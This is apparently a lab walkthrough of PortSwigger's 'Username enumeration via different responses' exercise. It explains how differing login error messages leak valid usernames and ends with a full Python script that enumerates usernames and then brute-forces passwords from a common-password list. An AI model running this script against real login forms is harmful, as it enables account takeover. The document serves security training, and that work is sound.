LearnAuthentication › Username enumeration via different responses

Username enumeration via different responses

PortSwigger Apprentice Authentication

Original lab: Username enumeration via different responses on PortSwigger ↗

A login form only needs to say one thing to an attacker: "wrong." The moment it says two different kinds of wrong — one for a username that doesn't exist, another for a username that does but paired with the wrong password — it has quietly split the entire credential-guessing problem into two much smaller ones. This lab is the cleanest version of that leak: the difference sits right there in the response body, no timing analysis or lockout side effects required.

The Target

The login form is a standard POST /login with username and password fields. A wrong guess against a nonexistent account and a wrong guess against a real account both come back as failures — the question is whether the application phrases those two failures identically.

The Investigation

We ran this through Authentication.py's lab_1_username_enum_response wrapper rather than working it in Burp's GUI. The first step was establishing a clean baseline: a request with a username we knew couldn't exist (invalid_user_xyz) and a throwaway password, capturing the exact response text, length, and status code.

From there the script walked our 101-entry candidate username wordlist (auth_usernames.txt), resending the same throwaway password against each one and diffing every response against that baseline — both the raw text and the status code. Per our verified notes, the two error strings the app actually uses are "Invalid username" for a username that doesn't exist and "Incorrect password" for one that does, a difference of only a couple of characters in response length. That's a small enough delta that eyeballing it would be easy to miss on a single request, but comparing full response bytes programmatically against a fixed baseline catches it immediately — the first username whose response text or status diverged from the baseline was the hit.

The Exploit

With a confirmed valid username in hand, the same script immediately pivoted to brute-forcing the password: looping through the 100-entry candidate password list (auth_passwords.txt), resubmitting username=<found>&password=<candidate> on a fresh CSRF token each time, and watching for either a 302 redirect or a response body that no longer contained incorrect/invalid — followed by a confirmation GET /my-account to verify the session was actually authenticated. The first password that produced a real redirect to /my-account was the correct one, and the lab's solve tracker flipped immediately after.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's published solution runs the identical two-stage logic through Burp Intruder: a Sniper attack on the username parameter with the candidate list, sorted by the Length column to spot the one entry whose response text says "Incorrect password" instead of "Invalid username" — then a second Sniper attack on password for that username, filtering for the 302 response. That's exactly the baseline-diff-then-brute-force shape our script follows.

The only real difference is delivery: PortSwigger drives both Intruder passes by hand through the GUI, reading the Length column and the status code column visually. We ran the same two passes as two nested loops in Python, diffing raw response bytes against a captured baseline instead of reading a sorted table. For a two-stage attack like this one, both approaches converge on the same requests — scripting mainly saves the manual column-sorting step.

What This Teaches Us

The vulnerability isn't in the password check at all — it's that the *first* check (does this username exist) and the *second* check (does the password match) produce observably different failure text. Any attacker with a username wordlist can now separate "invalid account" from "valid account, wrong password" and only spend brute-force effort on the accounts that are real. The fix is uniform: identical wording, identical length, identical status code, and ideally identical response timing, regardless of which check actually failed.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Username enumeration via different responses
PortSwigger Web Security Academy -- Authentication

Companion script for the writeup: 01-username-enumeration-via-different-responses.md

What this does:
    Establishes a baseline login response for a username that cannot exist, then
    walks a candidate username wordlist diffing every response's status code and
    full response text against that baseline -- the first divergence is a valid
    username ("Invalid username" vs "Incorrect password"). It then brute-forces
    the password for that username, watching for a 302 redirect to /my-account.

Usage:
    python 01-username-enumeration-via-different-responses.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx

USERNAMES = [
    "carlos", "root", "admin", "test", "guest", "info", "adm", "mysql", "user",
    "administrator", "oracle", "ftp", "pi", "puppet", "ansible", "ec2-user",
    "vagrant", "azureuser", "academico", "acceso", "access", "accounting",
    "accounts", "acid", "activestat", "ad", "adam", "adkit", "admin",
    "administracion", "administrador", "administrator", "administrators",
    "admins", "ads", "adserver", "adsl", "ae", "af", "affiliate", "affiliates",
    "afiliados", "ag", "agenda", "agent", "ai", "aix", "ajax", "ak", "akamai",
    "al", "alabama", "alaska", "albuquerque", "alerts", "alpha", "alterwind",
    "am", "amarillo", "americas", "an", "anaheim", "analyzer", "announce",
    "announcements", "antivirus", "ao", "ap", "apache", "apollo", "app",
    "app01", "app1", "apple", "application", "applications", "apps",
    "appserver", "aq", "ar", "archie", "arcsight", "argentina", "arizona",
    "arkansas", "arlington", "as", "as400", "asia", "asterix", "at", "athena",
    "atlanta", "atlas", "att", "au", "auction", "austin", "auth", "auto",
    "autodiscover",
]

PASSWORDS = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor",
    "monitoring", "montana", "moon", "moscow",
]


def _csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    page = client.get(f"{lab_url}/login")
    baseline = client.post(f"{lab_url}/login", data={
        "csrf": _csrf(page.text), "username": "invalid_user_xyz123", "password": "test"
    })
    print(f"[*] Baseline: status={baseline.status_code}, length={len(baseline.text)}")

    found_user = None
    for uname in USERNAMES:
        page = client.get(f"{lab_url}/login")
        resp = client.post(f"{lab_url}/login", data={
            "csrf": _csrf(page.text), "username": uname, "password": "test"
        })
        if resp.text != baseline.text or resp.status_code != baseline.status_code:
            print(f"[+] Username found: {uname} (len={len(resp.text)} vs {len(baseline.text)})")
            found_user = uname
            break

    if not found_user:
        print("[-] No username found -- baseline never diverged.")
        return

    print(f"[*] Brute-forcing password for: {found_user}")
    found_pw = None
    for pw in PASSWORDS:
        page = client.get(f"{lab_url}/login")
        resp = client.post(f"{lab_url}/login", data={
            "csrf": _csrf(page.text), "username": found_user, "password": pw
        })
        if resp.status_code == 302 or "my-account" in getattr(resp.url, "path", ""):
            found_pw = pw
            break
        if "incorrect" not in resp.text.lower() and "invalid" not in resp.text.lower():
            check = client.get(f"{lab_url}/my-account")
            if check.status_code == 200 and "log in" not in check.text.lower():
                found_pw = pw
                break

    if found_pw:
        print(f"[+] Password found: {found_pw}")
    else:
        print("[-] No password matched from the candidate list.")

    check = client.get(lab_url)
    if "congratulations" in check.text.lower():
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →